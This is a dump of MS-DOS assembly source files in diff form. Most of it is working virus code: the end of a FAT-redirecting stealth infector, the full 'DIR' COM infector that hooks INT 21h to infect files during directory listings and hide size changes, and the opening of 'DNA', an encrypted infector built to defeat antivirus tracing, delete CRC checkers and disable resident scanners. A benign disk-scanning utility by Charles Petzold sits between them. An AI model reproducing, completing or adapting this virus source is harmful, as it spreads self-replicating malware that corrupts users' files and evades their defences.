jnz rest ; If not 0, decrypt
|
||||
pointer: mov ax,1234h ; mov ax, XX modified elsewhere
|
||||
cmp ax,[si+1ah] ; Check for same starting
|
||||
; cluster number as us
|
||||
je go_on ; If it is, then try another
|
||||
xchg ax,[si+1ah] ; Otherwise make it point to
|
||||
; us.
|
||||
gad: xor ax,1234h ; Encrypt their starting
|
||||
; cluster
|
||||
mov [si+14h],ax ; And put it in area reserved
|
||||
; by DOS for no purpose
|
||||
loop go_on ; Try another file
|
||||
rest: xor ax,ax ; Disinfect the file
|
||||
xchg ax,[si+14h] ; Get starting cluster
|
||||
xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster
|
||||
mov [si+1ah],ax ; and put it back
|
||||
go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1
|
||||
dw offset gad+1 ; Change encryption and
|
||||
add si,32 ; go to next file
|
||||
cmp di,si ; If it is not past the end of
|
||||
jne find ; the buffer, then try again
|
||||
ret ; Otherwise quit
|
||||
|
||||
check: mov ah,[bx+1] ; ah = unit code (block device
|
||||
; only)
|
||||
drive: cmp ah,-1 ; cmp ah, XX can change.
|
||||
; Compare with the last call
|
||||
; -1 is just a dummy
|
||||
; impossible value that will
|
||||
; force the change to be true
|
||||
mov byte ptr cs:[drive+2],ah ; Save this call's drive
|
||||
jne changed ; If not the same as last call
|
||||
; media has changed
|
||||
push [bx+0eh] ; If it is the same physical
|
||||
; drive, see if floppy has
|
||||
; been changed
|
||||
mov byte ptr [bx+2],1 ; Tell original driver to do a
|
||||
call in_ ; media check (block only)
|
||||
cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if
|
||||
pop [bx+0eh] ; media has not been changed
|
||||
mov [bx+2],al ; Restore command code
|
||||
changed: ret ; CF,ZF set if media has not
|
||||
; been changed, not set if
|
||||
; has been changed or we don't
|
||||
; know
|
||||
write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to
|
||||
jae in_ ; original device handler
|
||||
; and return to caller
|
||||
mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT
|
||||
mov si,70h
|
||||
mov ds,si ; DS = our segment
|
||||
modify: mov si,1234h ; Address is changed elsewhere
|
||||
push [si]
|
||||
push [si+2]
|
||||
mov [si],offset i13pr
|
||||
mov [si+2],cs
|
||||
call in_ ; Call original device handler
|
||||
pop [si+2]
|
||||
pop [si]
|
||||
ret
|
||||
|
||||
driver: mov word ptr es:[bx+12h],1 ; One sector
|
||||
in_: ; in_ first calls the strategy
|
||||
; of the original device
|
||||
; driver and then calls the
|
||||
; interrupt handler
|
||||
db 09ah ; CALL FAR PTR
|
||||
str_block:
|
||||
dw ?,70h ; address
|
||||
db 09ah ; CALL FAR PTR
|
||||
int_block:
|
||||
dw ?,70h ; address
|
||||
test es:[bx+4],byte ptr 80h ; Was there an error?
|
||||
ret
|
||||
|
||||
convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT
|
||||
jae fat_16 ; 0FF0h = reserved cluster
|
||||
mov si,3 ; 12 bit FAT
|
||||
xor word ptr cs:[si+gad-1],si ; Change the encryption value
|
||||
mul si ; Multiply by 3 and
|
||||
shr ax,1 ; divide by 2
|
||||
mov di,0fffh ; Mark it EOF (low 12 bits)
|
||||
jnc cont ; if it is even, continue
|
||||
mov di,0fff0h ; otherwise, mark it EOF (high
|
||||
jmp short cont ; 12 bits) and then continue
|
||||
fat_16: mov si,2 ; 16 bit FAT
|
||||
mul si ; Double cluster #
|
||||
mov di,0ffffh ; Mark it as end of file
|
||||
cont: mov si,512
|
||||
div si ; AX = sector number
|
||||
; (relative to start of FAT)
|
||||
; DX = offset in sector AX
|
||||
header: inc ax ; Increment AX to account for
|
||||
ret ; boot record
|
||||
|
||||
counter: dw 0
|
||||
|
||||
dw 842h ; Attribute
|
||||
; Block device
|
||||
; DOS 3 OPEN/CLOSE removable
|
||||
; media calls supported
|
||||
; Generic IOCTL call supported
|
||||
; Supports 32 bit sectors
|
||||
dw offset main ; Strategy routine
|
||||
dw offset rts ; Interrupt routine (rtf)
|
||||
db 7fh ; Number of subunits supported
|
||||
; by this driver. Wow, lookit
|
||||
; it -- it's so large and juicy
|
||||
|
||||
; Parameter block format:
|
||||
; 0 WORD Segment of environment
|
||||
; 2 DWORD pointer to command line
|
||||
; 6 DWORD pointer to 1st default FCB
|
||||
;10 DWORD pointer to 2nd default FCB
|
||||
param: dw 0,80h,?,5ch,?,6ch,?
|
||||
|
||||
bpb_buf: db 32 dup(?)
|
||||
f_name: db 80 dup(?)
|
||||
|
||||
;--------The End.
|
||||
dir_2 ends
|
||||
end start
|
||||
|
|
@ -0,0 +1,285 @@
|
|||
|
||||
; DIR
|
||||
;
|
||||
; by Terminator Z
|
||||
|
||||
; this virus will infect com files when you do a directory .. it will infect
|
||||
; every com file as it comes up on the directory listing.
|
||||
;
|
||||
; this virus will not infect files if they have a seconds field of 58 seconds,
|
||||
; and will hide the file size increase on these files while the virus is
|
||||
; memory resident.
|
||||
|
||||
|
||||
v_start:
|
||||
|
||||
call si_set
|
||||
si_set: pop si
|
||||
sub si, offset si_set
|
||||
mov bp, ds
|
||||
|
||||
mov ax, 0fedch
|
||||
int 21h
|
||||
jc exit_code
|
||||
|
||||
mov ax, ds
|
||||
dec ax
|
||||
tsr1: mov ds, ax
|
||||
cmp byte ptr [0], 'Z'
|
||||
je tsr2
|
||||
add ax, word ptr [3]
|
||||
jmp tsr1
|
||||
tsr2: cmp word ptr [3], p_len+1
|
||||
jb exit_code
|
||||
sub word ptr [3], p_len
|
||||
add ax, word ptr [3]
|
||||
inc ax
|
||||
sub ax, 10h
|
||||
mov di, 100h
|
||||
mov es, ax
|
||||
mov cx, 512
|
||||
add si, offset v_start
|
||||
mov ds, bp
|
||||
rep movsw
|
||||
xor si, si
|
||||
push ax
|
||||
mov ax, offset fix_ints
|
||||
push ax
|
||||
retf
|
||||
|
||||
fix_ints: push cs
|
||||
pop ds
|
||||
mov ax, 3521h
|
||||
int 21h
|
||||
mov word ptr [old_21], bx
|
||||
mov word ptr [old_21+2], es
|
||||
mov dx, offset new_21
|
||||
mov ax, 2521h
|
||||
int 21h
|
||||
|
||||
exit_code: add si, offset orig_3
|
||||
mov es, bp
|
||||
mov di, 100h
|
||||
push bp
|
||||
push di
|
||||
movsw
|
||||
movsb
|
||||
mov ds, bp
|
||||
xor ax, ax
|
||||
mov bx, ax
|
||||
mov dx, ax
|
||||
mov si, ax
|
||||
mov di, ax
|
||||
mov bp, ax
|
||||
retf
|
||||
|
||||
new_21: clc
|
||||
cmp ah, 11h
|
||||
je chk
|
||||
cmp ah, 12h
|
||||
je chk
|
||||
cmp ah, 1ah
|
||||
je dta_set
|
||||
cmp ax, 0fedch
|
||||
jne i_exit
|
||||
stc ; set carry
|
||||
iret
|
||||
i_exit: jmp dword ptr cs:[old_21]
|
||||
|
||||
function_call: pushf
|
||||
call dword ptr cs:[old_21]
|
||||
ret
|
||||
|
||||
dta_set: call function_call
|
||||
jnc ds2
|
||||
ds1: retf 2
|
||||
ds2: mov word ptr cs:[dta_save], dx
|
||||
mov word ptr cs:[dta_save+2], ds
|
||||
jmp short ds1
|
||||
|
||||
chk: call function_call
|
||||
cmp al, 0
|
||||
je c2
|
||||
iret
|
||||
c2: push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
push bp
|
||||
push cs
|
||||
pop es
|
||||
lds si, dword ptr cs:[dta_save]
|
||||
lodsb
|
||||
dec si
|
||||
cmp al, 0ffh
|
||||
jne c3
|
||||
add si, 7 ; fix all this shit up
|
||||
c3: push si
|
||||
add si, 17h
|
||||
lodsw
|
||||
and ax, 29 ; 56 seconds
|
||||
jz c4
|
||||
add si, 4
|
||||
sub word ptr [si], v_len
|
||||
sbb word ptr [si-2], 0
|
||||
pop si
|
||||
jmp short c_exit
|
||||
|
||||
c4: pop si
|
||||
mov bp, si
|
||||
add si, 9 ; up to extension
|
||||
lodsw
|
||||
and ax, 0dfdf ; ->UC
|
||||
cmp ax, 'OC'
|
||||
jne c_exit
|
||||
lodsb
|
||||
and al, 0df
|
||||
cmp al, 'M'
|
||||
je c_inf
|
||||
c_exit: pop bp
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
iret
|
||||
c_inf: mov si, bp
|
||||
inc si
|
||||
mov di, filename_save
|
||||
mov cx, 8
|
||||
cmov1: lodsb
|
||||
cmp al, ' '
|
||||
je cmov2
|
||||
stosb
|
||||
cmov2: loop cmov1
|
||||
mov al, '.'
|
||||
stosb
|
||||
movsw
|
||||
movsb
|
||||
xor ax, ax
|
||||
stosb ; make an ASCIIZ string
|
||||
|
||||
com_infection: push cs
|
||||
pop ds
|
||||
mov ax, 3524h
|
||||
call function_call
|
||||
push bx
|
||||
push es
|
||||
push cs
|
||||
pop es
|
||||
mov dx, offset new_24
|
||||
mov ax, 2524h
|
||||
call function_call
|
||||
mov ax, 4300h
|
||||
mov dx, filename_save
|
||||
call function_call
|
||||
jnc k1
|
||||
jmp exit_1
|
||||
k1: push cx
|
||||
mov ax, 4301h
|
||||
xor cx, cx
|
||||
call function_call
|
||||
jc exit_2
|
||||
mov ax, 3d02h
|
||||
call function_call
|
||||
mov bp, ax
|
||||
xchg ax, bx
|
||||
mov ax, 5700h
|
||||
call function_call
|
||||
push cx
|
||||
push dx
|
||||
mov dx, offset orig_3
|
||||
mov ah, 3fh
|
||||
mov cx, 3
|
||||
call function_call
|
||||
mov ax, 4202h
|
||||
xor cx, cx
|
||||
xor dx, dx
|
||||
call function_call
|
||||
or dx, dx
|
||||
jnz exit_3
|
||||
push ax
|
||||
add ax, 102h+v_len
|
||||
pop ax
|
||||
jc exit_3
|
||||
cmp ax, 3
|
||||
jb exit_3
|
||||
dec ax
|
||||
dec ax
|
||||
dec ax
|
||||
mov di, offset com_stub+1
|
||||
stosw
|
||||
mov ah, 40h
|
||||
mov cx, v_len
|
||||
mov dx, 100h
|
||||
call function_call
|
||||
cmp ax, v_len
|
||||
jb exit_4 ; check number of bytes written
|
||||
xor cx, cx
|
||||
xor dx, dx
|
||||
mov ax, 4200h
|
||||
call function_call
|
||||
mov ah, 40h
|
||||
mov cx, 3
|
||||
mov dx, offset com_stub
|
||||
call function_call
|
||||
pop dx
|
||||
pop cx
|
||||
or cx, 29
|
||||
push dx
|
||||
push cx
|
||||
|
||||
exit_4: mov ax, 5701h
|
||||
pop dx
|
||||
pop cx
|
||||
call function_call
|
||||
|
||||
exit_3: mov ah, 3eh
|
||||
call function_call
|
||||
|
||||
exit_2: pop cx
|
||||
mov ax, 4301h
|
||||
mov dx, filename_save
|
||||
call function_call
|
||||
|
||||
exit_1: pop ds
|
||||
pop dx
|
||||
mov ax, 2524h
|
||||
call function_call
|
||||
jmp c_exit
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
new_24: iret
|
||||
|
||||
orig_3: int 20h
|
||||
nop
|
||||
|
||||
com_stub db 0e9h
|
||||
dw 0
|
||||
|
||||
db ' DIR by Drunk Avenger [PuKE] x92! '
|
||||
|
||||
v_end:
|
||||
|
||||
old_21 equ $
|
||||
dta_save equ old_21 + 4
|
||||
infected equ dta_save + 4
|
||||
filename_save equ infected + 1
|
||||
|
||||
p_len equ 40h ; 1k
|
||||
v_len equ v_end - v_start
|
||||
|
||||
|
|
@ -0,0 +1,304 @@
|
|||
; DISKSCAN.ASM -- Checks out disk by reading sectors
|
||||
; --------------------------------------------------
|
||||
|
||||
CSEG Segment
|
||||
Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
|
||||
Org 100h
|
||||
Entry: Jmp Begin
|
||||
|
||||
; All Data
|
||||
; --------
|
||||
db ' Copyright 1986 Ziff-Davis Publishing Co.'
|
||||
db ' Programmed by Charles Petzold '
|
||||
DriveError db 'Invalid Drive$'
|
||||
DosVersErr db 'Needs DOS 2.0+$'
|
||||
MemoryError db 'Needs 64K$'
|
||||
ReadSegment dw ?
|
||||
DriveNum db ?
|
||||
DiskBlock db 18 dup (?)
|
||||
TotalSectors dw ?
|
||||
SectorsIn64K dw ?
|
||||
StartSector dw 0
|
||||
SectorLabel2 db 9,'Sector $'
|
||||
SectorLabel db 13,'Sectors $'
|
||||
DashLabel db ' - $'
|
||||
ErrorLabel db ': Error!'
|
||||
CRLF db 13,10,'$'
|
||||
ErrorAddr dw Err0,Err1,Err2,Err3,Err4,Err5,Err6,Err7
|
||||
dw Err8,Err9,ErrA,ErrB,ErrC,ErrD,ErrD,ErrD
|
||||
Err0 db 'Write Protect$'
|
||||
Err1 db 'Unknown Unit$'
|
||||
Err2 db 'Drive Not Ready$'
|
||||
Err3 db 'Unknown Command$'
|
||||
Err4 db 'CRC Error$'
|
||||
Err5 db 'Request Length$'
|
||||
Err6 db 'Seek Error$'
|
||||
Err7 db 'Unknown Media$'
|
||||
Err8 db 'Sector Not Found$'
|
||||
Err9 db 'No Paper$'
|
||||
ErrA db 'Write Fault$'
|
||||
ErrB db 'Read Fault$'
|
||||
ErrC db 'General Failure$'
|
||||
ErrD db 'Undocumented Error$'
|
||||
BootSectMsg db 'Boot Sector$'
|
||||
RootDirMsg db 'Root Directory$'
|
||||
BadFatMsg db 'File Alloc. Table$'
|
||||
InUseMsg db 'Used by file$'
|
||||
NotInUseMsg db 'Unallocated$'
|
||||
BadFlagMsg db 'Flagged as bad$'
|
||||
FatReadMsg db "Can't Read FAT$"
|
||||
Divisors dw 10000, 1000, 100, 10, 1 ; For decimal conversion
|
||||
|
||||
; Check Drive Parameter, DOS Version, and Enough Memory
|
||||
; -----------------------------------------------------
|
||||
|
||||
ErrorExit: Mov AH,9 ; Write error message
|
||||
Int 21h ; through DOS
|
||||
Int 20h ; And terminate
|
||||
|
||||
Begin: Mov DX, Offset DriveError ; Possible message
|
||||
Or AL, AL ; Check Drive Validity Byte
|
||||
Jnz ErrorExit ; If not zero, invalid drive
|
||||
Mov DX, Offset DosVersErr ; Possible message
|
||||
Mov AH, 30h
|
||||
Int 21h ; Get DOS Version Number
|
||||
Cmp AL, 2 ; Check for 2.0 or later
|
||||
Jb ErrorExit ; If not, terminate with message
|
||||
Mov DX, Offset MemoryError ; Possible error message
|
||||
Mov BX, 256+Offset EndProg ; Set beyond program
|
||||
Mov SP, BX ; Move stack closer to code
|
||||
Add BX, 15 ; Add 15 to round up
|
||||
Mov CL, 4 ; Divide BX by 16
|
||||
Shr BX, CL
|
||||
Mov AH, 4Ah ; Free allocated memory
|
||||
Int 21h ; by calling DOS Set Block
|
||||
Jc ErrorExit ; Terminate on error
|
||||
Mov BX, 1000h ; Ask for 64K bytes
|
||||
Mov AH, 48h ; by using DOS
|
||||
Int 21h ; Allocate Memory call
|
||||
Jc ErrorExit ; Terminate on error
|
||||
Mov [ReadSegment], AX ; Save segment of memory block
|
||||
|
||||
; Get Disk Information From DOS
|
||||
; -----------------------------
|
||||
|
||||
Mov DL, DS:[005Ch] ; Get Drive Parameter
|
||||
Push DS ; Save DS
|
||||
Mov AH, 32h ; Call DOS to
|
||||
Int 21h ; get DOS Disk Block (DS:BX)
|
||||
Mov SI, BX ; Now DS:SI points to Disk Block
|
||||
Mov DI, Offset DiskBlock ; DI points to destination
|
||||
Mov CX, 18 ; 18 bytes to copy'
|
||||
Cld ; Forward direction
|
||||
Rep Movsb ; Move 'em in
|
||||
Pop DS ; Get back DS
|
||||
Mov BX, Offset DiskBlock ; BX to address Disk Block
|
||||
Mov DX, 1 ; Set DX:AX to 65,536
|
||||
Sub AX, AX
|
||||
Div Word Ptr [BX + 2] ; Divide by Bytes Per Sector
|
||||
Mov [SectorsIn64K], AX ; Save that values
|
||||
Mov AX, [BX + 13] ; Last Cluster Number
|
||||
Dec AX ; AX = Number of Clusters
|
||||
Mov CL, [BX + 5] ; Cluster to Sector Shift
|
||||
Shl AX, CL ; AX = Number Data Sectors
|
||||
Add AX, [BX + 11] ; Add First Data Sector
|
||||
Mov [TotalSectors], AX ; AX = Number Total Sectors
|
||||
Mov AL, DS:[005Ch] ; Drive Number (0=def, 1=A)
|
||||
Dec AL ; Make it 0=A, 1=B
|
||||
Jns GotDriveNumber ; If no sign, not default drive
|
||||
Mov AH, 19h ; Get current disk
|
||||
Int 21h ; by calling DOS
|
||||
|
||||
GotDriveNumber: Mov [DriveNum], AL ; Save Drive Number (0=A, 1=B)
|
||||
|
||||
; Start Reading
|
||||
; -------------
|
||||
|
||||
MainLoop: Mov DX, Offset SectorLabel ; String to display on screen
|
||||
Call StringWrite ; Display it
|
||||
Mov AX, [StartSector] ; Starting sector number
|
||||
Call WordWrite ; Display number on screen
|
||||
Mov DX, Offset DashLabel ; String containing a dash
|
||||
Call StringWrite ; Display it on the screen
|
||||
Mov CX, [SectorsIn64K] ; Number of sectors to read
|
||||
Add AX, CX ; Add it to starting sector
|
||||
Jc NumRecalc
|
||||
Cmp AX, [TotalSectors] ; See if bigger than total
|
||||
Jbe NumSectorsOK ; If so, proceed
|
||||
|
||||
NumRecalc: Mov AX, [TotalSectors] ; Otherwise get total sectors
|
||||
Mov CX, AX ; Move it to CX also
|
||||
Sub CX, [StartSector] ; Now CX = sectors to read
|
||||
|
||||
NumSectorsOK: Dec AX ; AX = last sector to read
|
||||
Call WordWrite ; Display it on screen
|
||||
Call ReadSectors ; Read the sectors
|
||||
Jnc NextSectors ; If no error, skip detail
|
||||
Call ReadSectors ; Repeat read
|
||||
Jnc NextSectors ; If still no error, skip
|
||||
|
||||
DiskError: Mov DX, Offset ErrorLabel ; String saying "Error!"
|
||||
Call StringWrite ; Display it on screen
|
||||
|
||||
ErrorLoop: Push CX ; Now save previous number
|
||||
Mov CX, 1 ; So we can read one at a time
|
||||
Call ReadSectors ; Read one sector
|
||||
Jnc NoError ; If no error, proceed
|
||||
Mov BL, AL ; Save error code
|
||||
Mov DX, Offset SectorLabel2 ; String with "Sector "
|
||||
Call StringWrite ; Display it on screen
|
||||
Mov AX, [StartSector] ; The sector we just read
|
||||
Call WordWrite ; Display it on screen
|
||||
Mov DX, Offset DashLabel ; String with a dash
|
||||
Call StringWrite ; Display it on screen
|
||||
And BL, 0Fh ; Blank out error top bits
|
||||
Sub BH, BH ; Now BX is error code
|
||||
Add BX, BX ; Double it for word access
|
||||
Mov DX, [ErrorAddr + BX] ; Get address of message
|
||||
Call StringWrite ; Display message on screen
|
||||
Call FindSector ; See where sector is
|
||||
Mov DX, Offset CRLF ; String for new line
|
||||
Call StringWrite ; Do carriage ret & line feed
|
||||
|
||||
NoError: Inc [StartSector] ; Kick up the start sector
|
||||
Pop CX ; Get back counter
|
||||
Loop ErrorLoop ; And read next sector
|
||||
Mov AX, [StartSector] ; Sector of next group
|
||||
Jmp Short CheckFinish ; Check if at end yet
|
||||
|
||||
NextSectors: Mov AX, [StartSector] ; For no error, increment
|
||||
Add AX, [SectorsIn64K] ; StartSector for next group
|
||||
Jc Terminate ; (If overflow, terminate)
|
||||
Mov [StartSector], AX ; And save it
|
||||
|
||||
CheckFinish: Cmp AX, [TotalSectors] ; See if at then end
|
||||
Jae Terminate ; If so, just terminate
|
||||
Jmp MainLoop ; If not, do it again
|
||||
|
||||
Terminate: Int 20h ; Terminate
|
||||
|
||||
; Find Sector in FAT to see if used by file, etc.
|
||||
; -----------------------------------------------
|
||||
|
||||
FindSector: Mov DX, Offset DashLabel ; Print dash
|
||||
Call StringWrite
|
||||
Mov AX, [StartSector] ; Sector with error
|
||||
Mov DX, Offset BootSectMsg ; Set up message
|
||||
Cmp AX, Word Ptr [DiskBlock + 6] ; See if sector boot
|
||||
Jb PrintMsg ; If so, print as such
|
||||
Mov DX, Offset BadFatMsg ; Set up message
|
||||
Cmp AX, Word Ptr [DiskBlock + 16] ; See if sector in FAT
|
||||
Jb PrintMsg ; If so, print as such
|
||||
Mov DX, Offset RootDirMsg ; Set up message
|
||||
Cmp AX, Word Ptr [DiskBlock + 11] ; See if sector in dir
|
||||
Jb PrintMsg ; If so, print as such
|
||||
Push [StartSector] ; Save the sector
|
||||
Mov AX, Word Ptr [DiskBlock + 6] ; Reserved sectors
|
||||
Mov [StartSector], AX ; Start of first FAT
|
||||
Mov CL, [DiskBlock + 15] ; Sectors for FAT
|
||||
Sub CH, CH ; Zero out top byte
|
||||
Call ReadSectors ; Read in FAT
|
||||
Pop [StartSector] ; Get back bad sector
|
||||
Mov DX, Offset FatReadMsg ; Set up possible msg
|
||||
Jc PrintMsg ; If read error, print
|
||||
Mov AX, [StartSector] ; Get bad sector
|
||||
Sub AX, Word Ptr [DiskBlock + 11] ; Subtract data start
|
||||
Mov CL, [DiskBlock + 5] ; Sector Shift
|
||||
Shr AX, CL ; Shift the sector
|
||||
Add AX, 2 ; AX is now cluster
|
||||
Push ES ; Save ES for awhile
|
||||
Mov ES, [ReadSegment] ; ES segment of FAT
|
||||
Cmp Word Ptr [DiskBlock + 13], 0FF0h; 12 or 16-bit FAT?
|
||||
Jge Fat16Bit ; And jump accordingly
|
||||
Mov BX, AX ; This is cluster number
|
||||
Mov SI, AX ; So is this
|
||||
Shr BX, 1 ; This is one-half cluster
|
||||
Mov AX, ES:[BX + SI] ; BX + SI = 1.5 CX
|
||||
Jnc NoShift ; If no CY from shift, got it
|
||||
Mov CL, 4 ; If CY from shift must
|
||||
Shr AX, CL ; shift word 4 bits right
|
||||
|
||||
NoShift: Or AX, 0F000h ; Now put 1's in top bits
|
||||
Cmp AX, 0F000h ; See if zero otherwise
|
||||
Jmp Short CheckWord ; And continue checking
|
||||
|
||||
Fat16Bit: Mov BX, AX ; This is cluster number
|
||||
Shl BX, 1 ; Double it
|
||||
Mov AX, ES:[BX] ; Pull out word from sector
|
||||
Or AX, AX ; See if zero (unallocated)
|
||||
|
||||
CheckWord: Pop ES ; Get back ES
|
||||
Mov DX, Offset NotInUseMsg ; Set up possible message
|
||||
Jz PrintMsg ; If so, print message
|
||||
Mov DX, Offset BadFlagMsg ; Set up possible message
|
||||
Cmp AX, 0FFF7h ; See if cluster flagged bad
|
||||
Jz PrintMsg ; If so, print message
|
||||
Mov DX, Offset InUseMsg ; If not, cluster is in use
|
||||
|
||||
PrintMsg: Call StringWrite ; Print cluster disposition
|
||||
Ret ; And return
|
||||
|
||||
; Read Sectors (CX = Number of Sectors, Return CY and AL for error)
|
||||
; -----------------------------------------------------------------
|
||||
|
||||
ReadSectors: Push BX ; Push all needed registers
|
||||
Push CX
|
||||
Push DX
|
||||
Push DS
|
||||
Mov AL, [DriveNum] ; Get the drive number code
|
||||
Sub BX, BX ; Buffer address offset
|
||||
Mov DX, [StartSector] ; Starting Sector
|
||||
Mov DS, [ReadSegment] ; Buffer address segment
|
||||
Int 25h ; Absolute Disk Read
|
||||
Pop BX ; Fix up stack
|
||||
Pop DS ; Get back registers
|
||||
Pop DX
|
||||
Pop CX
|
||||
Pop BX
|
||||
Ret ; Return to program
|
||||
|
||||
; Screen Display Routines
|
||||
; -----------------------
|
||||
|
||||
WordWrite: Push AX ; Push some registers
|
||||
Push BX ; AX contains word to display
|
||||
Push CX
|
||||
Push DX
|
||||
Push SI
|
||||
Mov SI, Offset Divisors ; SI points to divisors
|
||||
Mov CX, 4 ; CL counter; CH zero blanker
|
||||
|
||||
WordWriteLoop: Mov BX, [SI] ; Get divisor
|
||||
Add SI, 2 ; Increment SI for next one
|
||||
Sub DX, DX ; Prepare for division
|
||||
Div BX ; Divide DX:AX by BX
|
||||
Push DX ; Save remainder
|
||||
Or CH, AL ; See if zero
|
||||
Jz LeadZero ; If so, do not display it
|
||||
Add AL, '0' ; Convert number to ASCII
|
||||
Mov DL, AL ; Print out character
|
||||
Mov AH, 2 ; by calling DOS
|
||||
Int 21h
|
||||
|
||||
LeadZero: Pop AX ; Get back remainder
|
||||
Dec CL ; Decrement counter
|
||||
Jg WordWriteLoop ; If CL still > 0, do it again
|
||||
Mov CH, 1 ; No more zero blanking
|
||||
Jz WordWriteLoop ; Convert last digit to ASCII
|
||||
Pop SI ; Get back pushed registers
|
||||
Pop DX
|
||||
Pop CX
|
||||
Pop BX
|
||||
Pop AX
|
||||
Ret
|
||||
|
||||
StringWrite: Push AX ; Displays string from DX
|
||||
Mov AH, 9 ; to screen by calling DOS
|
||||
Int 21h
|
||||
Pop AX
|
||||
Ret
|
||||
|
||||
EndProg Label Byte ; End of program
|
||||
CSEG EndS
|
||||
End Entry
|
||||
|
|
@ -0,0 +1,537 @@
|
|||
;=============================================================================
|
||||
; Please feel free to distribute, but do NOT change and say it's your's!
|
||||
;=============================================================================
|
||||
; Introducing to you the source code of DNA. DNA is a partially resident
|
||||
; parasitic COM file infector including COMMAND.COM. The virus infects files
|
||||
; in a random way along the path. The infection routine is resident
|
||||
; during the run of the virus. The reason for this is that it is only then
|
||||
; possible to encrypt the infection routine whitin the virus. The routine
|
||||
; will be resident in the data area of the system so it will use no memory.
|
||||
; DNA does not contain a payload. Furthermore there are some routines to
|
||||
; delete CRC checkers and to disable some resident viruscheckers in memory.
|
||||
;
|
||||
; Greetings ,ThE wEiRd GeNiUs
|
||||
;-----------------------------------------------------------------------------
|
||||
; Assemble with TASM 2.0 or higher, Link with TLINK /T
|
||||
;-----------------------------------------------------------------------------
|
||||
CODE SEGMENT
|
||||
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
|
||||
|
||||
CRYPTLEN EQU BUFFER-CSTART ;Length to en/decrypt.
|
||||
VIRLEN EQU BUFFER-VSTART ;Length of virus.
|
||||
MINLEN EQU 1000 ;Min file length to infect.
|
||||
MAXLEN EQU 0F230h ;Max " " " "
|
||||
CR EQU 0Dh ;Return.
|
||||
LF EQU 0Ah ;Line feed.
|
||||
TAB EQU 09h ;Tab.
|
||||
TSR2LEN EQU BUFFER-INFECT ;Length of infection Interrupt.
|
||||
LENGTH EQU NOTENC-CSTART ;Length of encrypted code.
|
||||
|
||||
ORG 0100h
|
||||
|
||||
.RADIX 16
|
||||
;-----------------------------------------------------------------------------
|
||||
; Infected dummy program. (Only in 1st run)
|
||||
;-----------------------------------------------------------------------------
|
||||
START: JMP VSTART ;Jump to virus code.
|
||||
;-----------------------------------------------------------------------------
|
||||
; Begin of the virus code.
|
||||
;-----------------------------------------------------------------------------
|
||||
VSTART: CALL CHKDOS ;Confuse anti-viral progs.
|
||||
CALL CHKTIME ;It's hard to believe but this code
|
||||
JMP BEGIN ;stops tracing TBAV into the code!
|
||||
;-----------------------------------------------------------------------------
|
||||
CHKDOS: MOV AH,30h ;Get DOS version.
|
||||
INT 21h ;Call DOS.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
CHKTIME:MOV AH,2Ch ;Get system time.
|
||||
INT 21h ;Call DOS.
|
||||
CMP DL,0 ;If zero,
|
||||
JE CHKTIME ;try again.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
VAL_1 DB 00h ;Encryption Value.
|
||||
;-----------------------------------------------------------------------------
|
||||
ENCRYP: CALL NEXTL ;-Get BP on address.
|
||||
NEXTL: POP BP ;/
|
||||
SUB BP,04 ;[BX]=decryption key.
|
||||
MOV DL,[BP] ;DL=[BX]
|
||||
LEA BX,[BP+OFFSET CSTART-VAL_1];De/en-crypt from here.
|
||||
CMP DL,0 ;Code Encrypted?
|
||||
JE NTENC ;Nope
|
||||
DECRYPT:MOV DH,DL ;
|
||||
MOV CX,CRYPTLEN ;Set counter.
|
||||
X_LOOP: XOR [BX],DL ;Xor the code on address BX.
|
||||
SUB DL,DH ;-To change form of scrambled code.
|
||||
SUB DH,02Eh ;/
|
||||
INC BX ;Increase address.
|
||||
LOOP X_LOOP ;Repeat until done.
|
||||
NTENC: RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
BEGIN: CALL ENCRYP ;Call decryption routine.
|
||||
;-----------------------------------------------------------------------------
|
||||
; From here the code will be encrypted.
|
||||
;-----------------------------------------------------------------------------
|
||||
CSTART: CALL BEGIN1 ;Same old trick.
|
||||
CALL RESBEG ;Restore begin.
|
||||
CALL CHKDRV ;Check drive & DOS version.
|
||||
CALL SAVEDIR ;Save startup directory.
|
||||
CALL INSTSR2 ;Place infection routine in memory.
|
||||
PUSH ES ;In the next sessions ES is modified.
|
||||
CALL INT24 ;NoErrorAllowed.
|
||||
CALL VSAFE ;Vsafe resident?
|
||||
POP ES ;Restore extra segment.
|
||||
CALL ENKEY ;Create new CRYPTKEY.
|
||||
CALL DTA ;Store old and give up new DTA addres.
|
||||
CMP BYTE PTR[BP+OFFSET COMSIGN],01h;Am I command.com?
|
||||
JE F_FIRST ;Yes, do not use the path.
|
||||
CALL FIND1 ;Determine how many path's are present.
|
||||
CALL RANDOM ;Random value for directory search.
|
||||
CALL FIND2 ;Find suitable directory.
|
||||
CALL CHDRIVE ;If it is on another drive.
|
||||
CALL GODIR ;Go to the selected directory.
|
||||
F_FIRST:MOV AH,4Eh ;Search for 1st *.COM
|
||||
MOV CX,110b ;Look for read only, system & hidden.
|
||||
LEA DX,[BP+OFFSET SPEC] ;Offset file specification.(*.COM)
|
||||
INT 21h ;Call DOS.
|
||||
JNC OPENF ;Exit if no file found.
|
||||
CALL EXIT1 ;No files found, quit.
|
||||
OPENF: CALL CHKCOM ;-Is it COMMAND.COM?
|
||||
CMP CX,00h ;/
|
||||
JNE NOCOM ;Yes, set COMSIGN
|
||||
MOV BYTE PTR[BP+OFFSET COMSIGN],01h;
|
||||
JMP YESCOM ;
|
||||
NOCOM: MOV BYTE PTR[BP+OFFSET COMSIGN],00h;
|
||||
YESCOM: CALL CHKINF ;Already infected?
|
||||
CALL ATTRIB ;Ask & clear file attributes.
